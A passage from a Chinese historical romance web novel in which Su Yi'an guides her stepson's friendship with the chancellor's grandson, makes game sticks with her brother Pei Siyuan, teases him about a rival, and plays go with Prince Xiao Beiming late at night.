“嗯!”萧晏笑眯眯地点头,乖巧应声。 魏严彬彬有礼,不苟言笑,“小殿下这边请。” 两个小娃娃在花园里走了一圈,魏严以小主人的身份,给萧晏介绍园中一步一处的造景。 荷塘月色,别有洞天,古木交柯,听松风处…… 就连随便一棵柿子树,都有个好听的名字,叫柿柿如意。 萧晏实在对这些文绉绉的玩意儿没兴趣,就说道, “小哥哥,你把你的玩具都拿出来,咱们玩一会儿吧?” 一句话,把魏严臊红了脸,吃瘪半晌,才躬身抱拳,很小声地说道, “小殿下,实在抱歉,我没有玩具。” “啊?那你平日都玩什么?”萧晏有些不可置信。 魏严如实相告,“读书,写字。” 萧晏禁不住嘴角一抽: 原来是个书呆子。 娘亲怎么让我和一个书呆子玩啊?我怎么能和一个书呆子玩到一处啊? 萧晏怀抱着一丝期望,又问, “除了读书写字,你平日里还干点什么?” “吃饭,睡觉。” 萧晏倒吸了一口气,倏尔明白了点什么: 都没人陪他玩,他肯定是个没有娘的孩子…… 萧晏虽然从来没有和小孩子玩过,但是,娘亲既然开口了,他觉得自己有责任陪一陪这个没娘的小可怜。 “没玩具也可以玩啊,我会好多没玩具的游戏呢,石头剪刀布你会吗?” 魏严摇摇头。 萧晏大眼睛瞪得溜圆: 他连石头剪刀布都不会啊,看来,他不仅没有娘,连叔叔都没有…… 萧晏吐字清晰,表述准确地给他讲了一遍什么叫石头剪刀布,而后,又补充道, “谁输了就要被弹脑瓜崩儿,出石头输了要被弹十脑瓜崩儿,出剪子输要被弹两脑瓜崩儿,出布输了要被弹五脑瓜崩儿。” 魏严瞠目骇然,严词拒绝, “弹脑瓜崩儿太粗鄙了,恕我不能陪小殿下玩这个游戏。” 萧晏毫不气馁,笑盈盈道,“那咱们玩点别的,斗鸡如何?” 话毕,他就捞起自己一条腿, “就这样,两个人单腿蹦着对撞,看谁先把对方撞倒。” 魏严好像听到了什么了不得的事情,眼睛瞪得更大了, “这个游戏更粗鄙,不能玩。” 萧晏也没灰心,很有耐心地又马上想了一个, “咱们玩掰手腕吧?这个总不粗鄙了吧?” 魏严看着比自己矮一个头还不止的小殿下, “不行,我不能以大欺小,胜之不武。” 萧晏撇嘴,“什么以大欺小?一个游戏而已,再说,你未必能赢过我。” 魏严一脸认真道, “不行,殿下还小,伤到你不好。 不如,我带你去吃点心吧?都是我娘亲手做的。” 原来他有娘啊…… 萧晏本来铆足了精神头想献爱心,结果,一点没献出去。 他娘亲做的糕点虽然不如自己娘亲做的好吃,但是,做的糖果还是不错的。 萧晏走的时候,还掏出小手帕,打包了一盘子牛乳芝麻糖。 这个糖好好吃,他要带回去,给娘亲吃。 回去的马车上,萧晏就迫不及待地把糖掏出来,给娘亲献宝。 苏苡安吃了一块就不吃了, “剩下的,拿回去给你父王,用我教你怎么说吗?” 萧晏笑道,“不用,我知道怎么说,就说我第一次吃这么好吃的糖果,想着父王大概也不曾吃过,特意找魏小公子要了点,带回来给他尝尝。” 苏苡安连连点头,“孺子可教也,你觉得那魏小公子,如何?” “唉。” 萧晏少壮老成的模样,叹了一口气, “说实话,魏小公子,就一个小书呆子,整日除了读书写字,就是吃饭睡觉。 人还特别固执,不近人情,除了长相勉强可以,简直一无是处。 他一直在拒绝我玩游戏的提议,这不能玩,那也不能玩,和我不是一路人。 而且,他连个玩具都没有,我和他,实在玩不到一起去。 明日再来,我还是看你下棋吧?” 苏苡安正色道, “不行,玩不到一处,你也要跟他玩,装相总会吧? 你就把这当做一个任务来做,他的祖父和父亲,都是当朝高官,你需要和他结交,将来,他们都会成为你的人脉。 今日,你吃了他家的糕点和糖果,明日,咱们是要回礼的。 我们晚上一起做个玩具,明日送给他,一来二去,你们就熟悉了。 这样,你们将来就有从小一起长大的情分了,他就是你人脉中的人脉。” “嗯!” 萧晏使劲点头,眉目含笑,奶音欢快道,“我都听你哒!” 第138章 你好啊,小舅舅 晚上吃完饭,苏苡安就带着萧晏做起了纸风车,萧北铭坐在旁边负责干最累的活儿,削竹子。 虽然萧晏的这个屋子里,四处都插着买来的大大小小,各式各样的纸风车,但是,苏苡安觉得,亲自做玩具送给朋友,才能表达诚意。 桌上,还摆着一碟牛乳芝麻糖。 苏苡安见萧北铭就低头干活,也不言语,一副不情不愿的样子,就捻起一块糖,喂到了他的嘴里,嗔怪道, “晏儿特意给你带回来的糖,你也不尝一尝。” 这下,萧北铭不想接受小东西的马屁,也得被迫接受了。 苏苡安笑问,“好吃吗?” 萧北铭不咸不淡地敷衍了一下,“尚可。” 苏苡安耸了一下肩膀,“我会做更好吃的糖,等我哪天得出空,给你们爷俩露一手。” 萧北铭满目柔情地看着她,“不用这么辛苦,你整日忙着管理那么多铺子,又要教孩子,还要应付人情交际,就不要做这些了。” 苏苡安神色坚毅,“要的要的。” 她这奇怪的胜负欲。 晏儿单单打包回这个糖果,那就说明他没吃过这么好吃的糖,自己绝不会让别人比下去的。 自己在孩子的心里,必须是个十全十美,无所不能的形象。 倏尔,响起了叩门声,丁香的声音从外面传来, “主儿,裴公子来了。” 苏苡安很开心,“快请。” 又转头摩挲了一下萧晏的后脑勺,笑道, “晏儿,你今天终于可以见到你小舅舅了。” 苏苡安的话刚刚落音,裴思远就进来了,满面笑容热情地打招呼, “姊姊!姐夫!哎呦,小殿下今日没早睡啊,你好啊,小殿下。” “你好啊,小舅舅。” 一声含糖量极高的小舅舅,让裴思远立刻面部染上了红晕,心里美得不行了。 这也是裴思远第一次来萧晏的院子,他环视了一下这个屋子,到处都是玩具,可见这孩子平日里好受宠的。 彼时,他只恨自己今日来身上没带红包,当即就决定过年给这可人的大外甥包个大的,好好弥补一下今日的遗憾。 苏苡安给裴思远眼神示意, “自己找凳子坐。” 裴思远毫不见外地拽了一把凳子,坐到了桌子对面,看着对面的三个人,随手就拿起一颗糖,塞进自己嘴里, “你们做手工呢,我小时候,我爹娘也带我一起做手工,只不过,我坐在中间。” 苏苡安立即抱着萧晏,和自己换了一下位置,把萧晏放到了中间。 萧北铭默默甩给了对面的大蠢小子一个眼神杀。 他来这里,是为了陪媳妇,可不是为了陪孩子,这大蠢小子怎么那么多话啊! 不过,裴思远依旧稳定发挥他的中二属性,他一点都没感觉出来镇北王不悦了。 苏苡安笑问,“阿远,好些日子不来了,干什么去了?” 裴思远神采奕奕地说, “我这些日子,一直在抓盗贼,一个飞天大盗!我是日夜蹲守,终于功夫不负有心人,把那飞贼抓住了。” “原来是忙正事啊。” 苏苡安对抓飞贼的事情,可没兴趣,她现在最大的兴趣,是怎么帮晏儿搞人脉,随意寒暄了几句,就开始切入正题, “你小时候,和文文静静的小公子,都玩什么游戏?” 裴思远笑容乍敛, “文文静静的小公子?我身边哪里有什么文文静静的小公子啊?文文静静的小女子都没有。” 苏苡安有点失望, “那就劳烦你好好想想,我们晏儿现在遇见一个文文静静的小公子,想跟他交朋友,你觉得两个人玩点什么游戏比较好?” “是这样啊……” 裴思远略微想了想, “玩泥巴吧?可以搓泥球,捏小人儿,玩腻了还可糊脸上。” 萧晏立即否了,“不行,他干干净净的,肯定会嫌脏的。” 裴思远又塞了一颗糖到自己嘴里, “那就玩藏猫猫,他爱干净,肯定会怕弄脏衣服,豁不出去躲藏,你准赢。” 萧晏立即说道,“躲躲藏藏的,他是个小古板,肯定不屑玩这种游戏,他肯定会说粗俗。” 裴思远面露嫌弃,“还有这么麻烦的小孩啊,要是我,就不跟他玩了,换个朋友玩。” 苏苡安笑道,“你好好想想嘛,这个对我们很重要。” 裴思远真有点犯难了,单手托腮,看着她手里的纸风车,沉吟片刻, “诶?我还真想起来了一个文雅的游戏,我妹妹小时候,我阿娘带她翻花绳,那个可文雅了。” 萧晏觉得,女孩子玩的东西,特别适合那个文绉绉的小书生,忙问,“翻花绳怎么玩?” 裴思远悻悻地说, “那是女孩子玩的东西,一根红绳翻出各种花,我这手是拿剑的,哪里能会啊? 不过,我可以今天晚上回去就跟我娘学,明晚再来教你。” 萧晏满脸遗憾,“来不及了,我们明天下午就要一起玩了。” 裴思远抿唇看向失落的小人人,顿觉身为小舅舅的责任感加身,自己绝对不能辜负了小外甥的期待,努力地在脑海里回想算得上文雅的游戏。 倏尔,他灵光一闪,眼睛一亮, “有了!撒签儿!” 萧晏好奇地问,“什么是撒签?” 裴思远起身,拿起了笔筒里的所有毛笔,一边解释,一边给做示范, “咱假装这是一把竹签,这样杵在桌子上,在手里一攥,再一松。 然后两个人轮流一根一根地往起来捡。 捡的时候,竹签不能碰动其它的,谁动了,谁就算输。” 裴思远见萧晏的眼神,平淡如水,兴趣不大的样子,又马上补充, “你现在看毛笔这么粗,感觉这游戏挺简单无趣的,但是,手里一把细细的几十上百根竹签撒一处,玩起来就还挺惊险刺激的。” 萧晏一点头,“那好,我就学这个了,小舅舅,你能帮我做签子吗?” “能啊,太能了,我可会做签子了,我小时候总做这个。” 裴思远说着话,就从靴子里抽出自己的匕首,从桌子上做风车的竹片里拿起一根, “做签子的技巧,就是又细又长,还要把竹刺刮干净,免得扎到手。” 萧晏盯着他削好了一根签子,笑道, “这签子用来穿糖葫芦正好。” 第139章 定情信物 裴思远也笑,“晏儿说得很对诶,只不过,玩游戏用不用那么长,一半长度就够了。” 他说着话,就将竹签从中间斩断, “这样的长短正好。” 苏苡安学会了,立即从袖子里亮出了自己的短刀, “现在分派任务了,一人做一百根签子,做不完,谁也不许出这个门。” 裴思远惊讶, “一人一百根?那也太多了,我外甥才多大点的小手手啊,他握不住那么多签子。” 苏苡安白了他一眼,“你这个呆瓜,可以送晏儿的好朋友一份嘛。” “哦,原来如此,姊姊想得真周到。” 裴思远的目光,落到了她的短刃上,那光泽,那剑气,一看就是上乘宝刃,瞬间来了兴趣, “诶?姊姊,你这匕首看起来很不错,在哪里买的?” 苏苡安手里干着活,头也不抬, “问你姐夫。” 裴思远看向萧北铭,寻求答案。 萧北铭如实告知, “这不是买的,是我军营里的锻刀师打的。” “原来如此啊,姐夫,能不能送我一把?”裴思远一点不拿自己当外人。 在他的眼里,小舅子找姐夫要一把刀,是一件很正常的事情。 萧北铭感慨了一下他的厚脸皮,这等宝贝他都好意思开口索要。 一个武将还不明白极品宝刀对于武将来说意味着什么吗?那是千金不换的东西。 “这是我偶然得到的一块陨铁打造而成,没有这么好的材料了,世上仅此一把。” 裴思远恍然大悟, “哇,原来是个唯一的大宝贝啊,是我唐突了,呵呵,你们当我刚刚啥也没说哈。” 萧北铭见他嘻嘻哈哈的,一点道歉的诚意都没有, “你是挺唐突的,竟然觊觎我们的定情信物。” 苏苡安忙活着手里的竹签子,也不去拆穿他,只是在心里挤兑: 什么定情信物啊?这明明是我凭自己本事赚到的诊费。 怎么还贴脸开大给阿远制造尴尬呢。 不过,苏苡安马上就觉察出来了,自己想多了,裴思远这家伙,根本就没生尬丝, “原来如此,等我以后有心仪的姑娘了,定情信物也送刀。学到了一招,今晚我可真没白来。” 苏苡安对这种八卦话题比较感兴趣,抬头看向他, “你来上京也一年了,还没有遇见心仪的姑娘吗?” 裴思远拧眉, “我阿娘说了,不让我勾搭上京城的姑娘,后面门第的关系太错综复杂了,一不小心,就给我全家搭上了。” 苏苡安笑道,“嬢嬢让不让是一回事,你自己想不想是另一回事,缘分来了,挡不住的。” 裴思远笑着摇头,一脸遗憾之色, “唉,可能是我眼光太高了,一个都没瞧上。 我的意中人,家世不用太好,但是,必须是温柔端方识大体。 要孝顺父母,性格要好,不能惹我阿娘生气,也不能欺负我妹妹。 模样不用太漂亮,但是,也不能太差,跟我站一起登对就好。 最主要的,她必须要会武功,不能娇娇弱弱的,什么事都指着男人给出主意。 我一天天在外面当差就够忙够累的了,回府了她不能再给我添麻烦。” “你的要求,是挺高的,光是会武功,就能过滤好多人。” 苏苡安认真想了想,又说, “乌二将军有个妹妹,还没许配人家,你要不要认识一下?” 裴思远霎时露出满脸嫌弃, “乌三啊,我可太认识她了,嚣张又跋扈,蛮横又不讲道理,我们冤家路窄,我都跟她打过好几架了。” 苏苡安相当的吃惊: “啊?不会吧,乌二可不是那种人,他的妹妹怎么会那样? 你们是怎么打起来了?是不是有什么误会啊?” 萧北铭也神情疑惑地看向裴思远,他也不信乌二的妹妹是那样的人。同父同母的兄妹,做人做事的差距能那么大吗? 裴思远说到这里,脸上就染上了怒色, “乌三仗着自己是辅国将军府的嫡女,整日带着一群人招摇过市,游手好闲,从街头闹到街尾。 路过的猫猫狗狗见到他们都要绕道走,你就想象他们那群街溜子有多讨人厌吧。” 苏苡安来了兴致,“细细讲讲。” 裴思远又抓了一颗糖,送进自己嘴里,娓娓道来, “我一开始,也给辅国将军府几分面子,她闹事,我就睁一只眼闭一只眼,从不理会,只要不太过分就行。 可是,后来有一日,乌三竟然当街把一个男人的两条腿都打断了,那男人的家属来巡防营报案,你说,这事我能不管吗? 我就请乌三去巡防营喝茶。 本来,我客客气气的请人,也是打算真的带她去巡防营喝杯茶,坐一会儿,就把她放了。 没想到,她不把我当人啊,到了巡防营,掀了桌子就拍屁股走人了,茶杯茶壶碎一地。 你说,她如此打我脸,这我能忍吗?我当时就拔剑了。” 苏苡安看他义愤填膺,又愤愤难平的委屈模样,笑道, “你打输了?” 裴思远提高了音调, “我怎么可能输给一个女人?我是小胜! 只是,那乌三不服气啊,她说那天她没发挥好,次日就在我巡街的时候,带了好多人来围堵我,要跟我重新打过。 我当值呢,穿着官服怎么能跟他们一群街溜子当街打架啊? 那我肯定是好汉不吃眼前亏,拔腿就跑啊。 我并不是怕她,就是怕影响不好。 结果,瞎话就传开了,说我被乌三打惨了,见她就跟老鼠见了猫一样。 我可是代表镇南将军府的脸面,我能吃这个哑巴亏吗?我能咽下这口窝囊气吗?自然是给她下挑战书啊。 谁曾想,乌三那么赖皮,每次打输了都说自己没发挥好,要下次再战。 这一来二去,就变成我们隔三差五约架了。” 苏苡安笑得肩膀颤抖,竟然被手里的短刃的剑气划破了手指,瞬间就见了血。 裴思远吓了一跳, “哎呀!姊姊!你的手!” “没事,没事。”苏苡安从怀里掏出手帕给自己包扎。 裴思远关切道,“你不会用刀就别削了,我自己就能做二百根签子。” 说这话,就起身把她眼前的竹片子,都拿到了自己跟前。 苏苡安也没阻止他,一张八卦脸,笑盈盈道, “根据话本子里讲的,你和乌三这样打来打去,现在冤家路窄,以后就会嫌床太窄了。” 第140章 娶她还不如娶条疯狗 裴思远第一次听这么浑的话,又羞又恼,瞠目结舌,顷刻间就红了双颊。 他惊骇于这种惊天浑话之余,眼里的嫌弃之色自然而然就溢出来,没好气儿道, “姊姊,你少看那些伤风败俗的话本子吧。 我严重怀疑,你这脑子就是看话本子看坏的。 就是天下的女人都死光了,我也不会多瞧她乌三一眼的! 我敢说,乌三那个男人婆这辈子,肯定嫁不去,娶她还不如娶条疯狗。 起码疯狗都不会天天咬人,她是真的天天都惹是生非。” 萧北铭实在听不下去了,再放任他们两说下去,还不一定说出多浑的话呢。 他看向苏苡安,语气温润却不失严厉, “你别瞎胡说,辅国将军府若是和镇南将军府结亲家,父皇都睡不好觉了。 这话,以后不能再说了,传出去,会给他们两个府邸惹祸。” 其实,萧北铭心中是赞同苏苡安的观点的,她话粗理不粗。 毕竟,他们两个,就是走这个不打不相识的路子好上的。 他之所以这么说,就是想给裴思远一个警醒: 父皇是绝对容不下他们两个手握兵权的府邸结亲的,他不能走那条路,要好自为之。 苏苡安才不在意他的警告,依旧我行我素,信手搂了一下萧晏的小肩膀, “晏儿,你会往外传吗?” 萧晏直摇头,把小脑袋摇成了拨浪鼓。 苏苡安笑眼弯弯地看向萧北铭, “瞧瞧,你儿子说他不会,若是传出去,肯定是你们两个说出去的。” 裴思远一脸严肃认真, “我绝对不会说,我和乌三干架的事,我连我阿娘都没说。 和一个姑娘打架,即便打赢了也不是什么光彩的事情。” 苏苡安十分不厚道地嘲笑, “你是没打过,没脸说吧?” 裴思远脖颈一扬,十分不服气,“我都说了,我是小胜,小胜也是胜,每次都是我赢她。” 苏苡安一副看热闹不嫌事大的模样,笑眯眯道, “你们下一次约在哪里打啊,我去瞧瞧热闹。” 裴思远又塞了一块糖到自己嘴里, “就明儿天一亮,约在城西那个废弃的戏园子里,我打完以后,正好去上值。” 苏苡安戏谑道,“打完还能上值,闹着玩呢?” 裴思远挑了一下眼帘,反诘道, “要不然呢?还能往死里打吗?看在我们两家父亲的面子,也不能下死手吧?” 苏苡安失望地摇了摇头,别有深意地笑了笑, “没意思,我可不想起个大早,看你们两个打情骂俏。” 裴思远不悦,甩了脸色, “姊姊,你怎么这样啊?别人看到打架都是劝架,你怎么还挑唆啊?” 苏苡安用手中的短刃敲了一下桌子, “我今夜就把话撂下这,你们两个将来不好上,我苏字倒着写,一万两,你赌不赌?” 裴思远瞥了一眼萧北铭,姐夫冷着一张脸看着他,警告意味明显。 又看了看萧晏,小家伙眼睛溜圆,听这些大人的事情,倒是很有兴趣的样子。 他撇嘴责备道, “姊姊,还有孩子在呢,你这张口又荤又赌的,成何体统啊?” 彼时,裴思远真的是有点替姊姊担忧,她说话越来越口无遮拦了,镇北王会不会嫌弃她粗鄙啊? 她这一只脚都迈进镇北王府了,别再被扫出来,到时候,上哪里找这么好的婚事…… 苏苡安爽朗回怼, “你管我提不提桶呢?我就问你赌不赌吧?你是不是输不起?” 裴思远到底是年轻,根本就经不起激将法,立即就拍桌说道, “赌就赌!你就准备好一万两吧!我要是看上乌三,我裴字倒着写!” 苏苡安眼神给他示意了那一把竹片子, “说话就说话,手里的活儿你别放下啊,我们还等着急用呢。” 裴思远赶忙抓起竹片子开削, “姊姊你放心,我半个时辰内,肯定做完,耽误不了我小外甥的大事。” 裴思远虽然看起来很不靠谱的样子,但是,做起事来,还是很靠谱的,他说半个时辰,就半个时辰完工。 而后,又陪着萧晏玩了一把撒签的游戏,才起身告辞。 这个时候,一盘子牛乳花生糖都被他一个人吃光了。 萧晏有点隐隐替他担心: 小舅舅一晚上吃这么多糖,他不怕牙疼吗? 反正,娘亲告诉他一天吃糖不能超过三块,否则会牙疼,他时刻铭记在心,并且乖乖遵循。 苏苡安和萧北铭手牵手,往主院踱步。 初冬夜晚的一阵小凉风吹来,苏苡安打了一个喷嚏。 萧北铭把她往怀里搂了搂, “明日府中得生炭火盆了,你出门也得披肩披风了。” 他掌心的温度,隔着几层衣衫,都暖进了她的肩膀。 苏苡安感慨了一下他身子骨真好,跟小火炉一样,自嘲自己像个冰块, “无妨,我还能再坚持一下,初冬冻一冻可以增加抵抗力。” 萧北铭不太明白,“你想抵抗什么?” 苏苡安莞尔一笑,“自然是抵抗严寒啊,难道是抵抗你吗?我对美男子,可是没有任何抵抗力的。” 萧北铭和她对视一眼,打横将人抱起来, “一起沐浴吧?” 苏苡安长睫一颤,顿感自己把自己架到了火上烤。 她倒不是矜持,只是,不伤害身体的避子药,她还没研究出来。 这段时间,就各种忙活孩子了,她都没功夫管自己的事情。 自己现在这具身体,满打满算才二十岁,对于古人来说已经不小了,可是,她总觉得自己现在谈生儿育女,太早了。 起码也要等到二十五六岁,到时候,如果和萧北铭感情稳定,可以考虑生一个。 此时此刻,她只好故作矜持,垂了一下眼帘, “说好的,大婚以后……” 萧北铭剑眉一挑,“想哪里去了,刚刚,你手不是受伤了吗?怕是不好见水,我帮你。” 苏苡安放松一笑,抬手给他看, “就被剑气吹破一点皮,现在都愈合了,你别总是勾引我。” 萧北铭一脸无辜, “你还真会冤枉好人,我好心好意要帮你搓澡,你竟说我勾引你。” 第141章 我的字典里就没有输字 苏苡安就佩服他端着一张禁欲系的脸,堂而皇之地说骚话的模样, “不是你的问题,是我的问题,我怕我自己把持不住,当场非礼了镇北王,您满意否?” 萧北铭不置可否,只是垂眸睨向怀中之人俏皮的笑脸,再抬头看看天上月,心中感慨万千: 从前总是看月圆月缺,在北疆的十年时光,如白驹过隙。 偏偏如今,几个月的时间过这么慢,怎么还不到婚期…… 其实,方才,萧北铭就是存心逗逗她,他习惯于洗冷水澡。 尤其是和她同寝以后,泡凉水是睡前必备之事。 他哪里敢去跟她共浴热水,怕不是要七窍流血而亡了。 他从前不怕死,在战场上冲锋陷阵,从来不惧刀枪剑戟,每次战役,都身先士卒,冲在最前面。 烂命一条,就是干! 但是,现在他心里有了她,就变得重视起自己的性命了。 他想要跟她幸福地过完一生,可不能早早死了。 该早早死去的,是先前那些谋害他们的人,都得死,他一个都不会放过! 他绝对不允许阻碍他们幸福之人活在世上。 萧北铭泡在冷水浴桶许久,才起身回卧房。 半倚半靠在床头,拿着一本书翻看。 苏苡安沐浴比他慢,通常,他看十几页书,她才能过来。 可是,今日,萧北铭觉得自己已经看了二三十页了,她还没有过来,就起身下地,去耳房寻找。 耳房的浴桶已经被清理干净了,却不见人影。 萧北铭又去到院子里,见书房燃着烛火呢,就迈大步走了过去。 果然,苏苡安在长案后端坐着,披着斗篷,散着湿漉漉的长发,正自己一个人对着棋盘蹙眉思索。 他进去,她都没有抬头。 萧北铭到她身后一看,她的头发已然濡湿了后背的一片,立即生出几分怨气和心疼,拿起椅背上的帕子给她擦头发,怨艾道, “三更半夜不睡觉,怎么在忙活这个?着凉了怎么办?” 苏苡安右手上的黑子骤然落到了棋盘上,回眸朝他一笑, “我刚刚泡澡的时候,突然来了灵感,想到一步好棋,我得走走看,有没有破绽,可不能让那小老头赢过我。 几日不见,那小老头的棋艺比在猎场的时候精进了不少,我差不点就输掉了,一看他就有好好研究我的棋路,我可不能输了。” 萧北铭不解,“下棋而已,输赢没那么重要吧?” 苏苡安笑容中充满了坚定, “输赢可太重要了,我的字典里就没有输字!” 苏苡安只是说出了其中的一半原因,还有另一半,她必须要赢魏合敬的缘由,那就是她怕自己输了,以后小老头不找她下棋了。 自己若进不去丞相,还怎么帮晏儿积攒人脉? 难道要等着若干年后,他任由你安排吗? 萧北铭一边给她擦头发,一边语重心长地说, “魏相把下棋的输赢看得比他九族的性命都重要,他当然会认真研究了。 我劝你,你手下留些情吧,别真真把他气死了,不好善后。” “嘿嘿。” 苏苡安嘲讽地笑笑, “父皇大概也考虑这一点了,怕我年轻人下手没轻没重,把他的丞相气死了,特意安排了一个太医住到了丞相府。 我们下棋的时候,太医就在旁边候着,随时随地抢救小老头。 你放心,我感觉他气得半死不死的时候,就撤了,肯定不会让他在我面前气得背过气去的。” “嗯,你心里有数就好。” 萧北铭对她办事,还是很放心的,她的实力,配得上她自信的话语。 只是,此刻,他对父皇的感激,又加深了一成。 父皇为她考虑周全,对她好,他永远铭记于心。 “要不要我陪你对弈一局,你找找破绽?” “呀?我们镇北王还会下棋呢?” 萧北铭的语气也是充满了自信,“我虽然很小就去了北疆戍边,但君子六艺也算是下工夫学过的,还能凑合事儿。” 苏苡安示意了一下棋盘,煞有介事道, “请教镇北王高招。” 萧北铭也不急着落座,而是说,“书房有点凉,现在生炭火盆来不及,不如,我们去床上?” “行!” 苏苡安端起了棋盘,萧北铭一手拿了一罐棋子,往卧房走去。 两个人来到了拔步床上,盘腿相对而坐,萧北铭瞅了瞅,又拿被子把她包裹了个严实。 苏苡安看着他一层单薄的里衣,伸手抓了抓他的大手,还热乎乎的, “我都怀疑热毒是不是残留在你体内了,怎么这么热啊?” 萧北铭回握着她的手,眼含担忧地看着她, “不要怀疑你自己的医术,热毒已经彻底解了,我就是身体好不怕冷而已。 你是真的体寒,小手冰凉,应该好好调理才是。” 苏苡安想想自己现在这副亚健康的身体,体力不好还痛经,不免有些郁闷。 只好默默在心里安慰自己: 能重活一次就不要挑三拣四了,还有条命在就不错了。 原主被虐待了三年才死,大概这副身体的底子也是很不错的,要不然早就死翘翘了。 自己只要好好调理,也是可以恢复健康的。 只是,在这之前,千万不能盲目生孩子。 苏苡安抬眸凝视着萧北铭精致到无可挑剔的五官,完美的就像是一件艺术品。 万一以后我们走着走着就散了,错过这么好的基因,真真是有点遗憾的。 我也想生一个像晏儿那样好看又聪明还懂事的孩子。 简直就是我的梦中情娃。 哎!晏儿为什么不是我亲生的,他若是我的儿子,我现在就没有这么多瞻前顾后的烦恼了…… “好看吗?”萧北铭蓦然发问。 苏苡安这才反应过来,自己方才竟然盯着他的脸失神了。 她嫣然一笑, “好看啊,秀色可餐,无与伦比,好伟大的一张脸。” 萧北铭认真发出灵魂拷问, “如果有一天,我老了,丑了,你会不会厌弃了我?” 苏苡安心中一凛: 听听,你自己在问什么? 我不知道你能对我好多久,但是,我还不了解我自己是个什么东西吗? 刷五分钟腹肌视频,能心动五十次的大色批。 我兴许都等不到你变老…… 然而,这是能说的吗? 我虽然不是什么好东西,但也不是那种让人扫兴的人啊! 第142章 谈恋爱天赋异禀型选手 “呵呵~” 苏苡安用微笑小小地掩饰了一下自己的心虚,同时火速翻找了一下脑海里背过的那些情话语录,张口就来, “岁月从不败美人,镇北王永远是我心里的第一大美男。 纵使山无棱,天地合,冬雷震震,夏雨雪,我对你的情,也始终如一。” 苏苡安说这话,信念感十足,却换来萧北铭淡嗤一声, “油嘴滑舌。” 苏苡安被拆穿了,也毫不尴尬,反而挑眉一笑, “你管我油不油,就说你爱不爱听吧?” 萧北铭黑眸沉沉地注视着她,深情款款道, “如果你说的是真话,我自然是爱听,如果你说的是假话,我也甘愿上当,依旧爱听。” 苏苡安嘴角僵了一下,有点被这恋爱脑的发言整不会了。 还说我油嘴滑舌,他更油好嘛! 对于谈恋爱这件事,起码我是个背诵情话宝典的学院派选手,他才是真正的零帧起手天赋型选手。 谈恋爱,谁能谈过他啊,跟开炼油厂了一样。 按照惯例,苏苡安接不下去的话题,就马上转移。 下一刻,她立即两指夹起了一枚黑子, “我们开始吧。你执白子,我先行。” “好。” 手中的黑子落下,苏苡安又突然想到了刚刚提到了热毒的事。 她觉得自己也不能光顾着孩子,也得关心一下自己的男朋友,就问道, “你查过是谁给你下的热毒吗?” 萧北铭长吁一口气,“事到如今,也不用查了,谁得利,就是谁干的。” “太子?” 萧北铭摇摇头,“也不排除是萧南征,从前,我不怀疑他,是因为他那时候还是个孩子。 现在一看,孩子怎么了?他那时候小,不谙世事,不代表他身边的人不会为他计长远。” 苏苡安恍然明白了: 这家伙,已经看出来我在为晏儿计长远了,拿话点我呢。 不过,晏儿的事,我是一定要插手的,可不能由着他的性子胡来,免得到时候把那么好的孩子作死了。 苏苡安又问,“你怎么不想办法让太子和宁王斗一斗,给你分散一下火力啊。” 萧北铭正色道,“宁王也那么是这么想的,我和太子年龄最相近,从小就斗,让他占了先机,我现在想扭转局面,不太可能了。” 苏苡安扬起了自信的笑容, “以前不可能是因为少一个我,现在有我在,你多了一个帮手,我给你想办法,保证把他们两个玩成孙子。” “不用!” 萧北铭严肃脸拒绝, “你管好自己的事情就好了,不用你为我操心,我心中有数。 年末多事之秋,你就老老实实地在府里,把这个冬天熬过去。 等来年咱们大婚了,我这颗心才能安定下来做事情,中间可不能出什么岔子。” 现在,萧北铭最担心的就是他们的大婚出什么岔头,她不能再高调行事了,若被父皇发现她这么聪明有心机,那还了得? 那自己跟父皇求赐婚之事说的那些谎话又算什么? 帝王是容不下这么大欺骗的。 不过,等他们大婚后,她再变聪明,那他的应对之法就多了。 只要她过门了,他就没什么能被拿捏的软肋了,他什么都不怕了。 苏苡安也是个听劝的,她微微一笑, “那好,就等咱们大婚以后再说。” 苏苡安再次落下了一颗黑子,两个人一边下棋,一边研究棋路。 一局结束,都后半夜了,苏苡安还想再下一局,被萧北铭强势拒绝,把人摁进了被窝里, “太晚了,明早再陪你研究。” 苏苡安实在没办法拒绝他温暖的怀抱。 有一个香香的,身材还好好的男朋友哄睡,感觉真是太美妙了,数着腹肌就入眠了。 只是,这一日清晨唤醒她的不是细细密密的晨吻,而已一股股刺入骨髓的腰腹疼痛。 苏苡安对这具身子都要无语死了,重度痛经就罢了,还特么不准时。 她今日还要出门见人的好吧…… 萧北铭看着惨白的脸颊冒着豆大的冷汗就心疼不已,恨不能替她承受这一切。 命人在卧房里生了两个炭火盆,被窝里塞上两个汤婆子,后腰一个,脚下一个,还亲自给她喂药。 苏苡安一口口吃着他一勺勺喂来的药,真的又被温暖到。 心中也感慨缘分的奇妙。 去年的这个时候,他们初识,相看两厌,感觉暴戾的镇北王随时都想掐死她。 今年,他就把她放在心尖尖上宠了。 她觉得自己好像不喜欢柔弱不能自理的美男子了,她应该是喜欢能给她带来温暖还很会照顾人的美男子。 只是,这个男人不完全属于自己,他还是别人的父亲,应该承担起做父亲的责任。 苏苡安唇瓣一弯,勾出一个甜美的笑容, “我没那么脆弱,你不用管我了,去陪晏儿出晨功吧。” 萧北铭把手中的空药碗放到了旁边的床头柜上,替她掖了掖被角, “一日不陪,也没什么要紧的,他自己会认真练的。” 苏苡安正色道,“不行,就因为孩子认真,你这个当爹的,才更不能懈怠,去吧,我要睡一会儿,没力气说话了。” 萧北铭深深叹了一口气, “好吧,不如,派人去跟丞相知会一声,你改天再去跟他下棋。” 苏苡安又蹙眉,“不行,我都答应小老头了,今天下午我就一定要去的,你别操心我了,我吃完药睡一觉,下午就不疼了。” 彼时,萧北铭除了心疼就是心疼。 那小东西,也不知道是几辈子修来的福气,遇见了这么好的嫡母,如此为他计长远,搞得他都好生嫉妒…… 苏苡安被痛经折磨得七荤八素,浑身都被冷汗湿透了,根本难以入睡,止疼药也不好用,她真想给自己一拳,晕过去就好了。 可是,又担心万一晕到下午还不醒,错过了约好的下棋时间。 这可能是晏儿接近丞相府的唯一时机,自己不能在关键的时刻掉链子。 苏苡安痛苦地蜷缩在被子里,正胡思乱想之际,丁香叩门进来了, “主儿,苏大人来了,说有正事要跟你商量,事关小殿下的。” 本来痛经就烦躁难耐,一听生物爹来了,就更心烦气躁了,她真心不想见他。 可是,涉及晏儿,她又好奇到底是什么事, “请他到客厅等我。” 第143章 你怎么能六亲不认呢? 少时,苏苡安抱着汤婆子,披着很厚的披风,没精打采地来到了客厅。 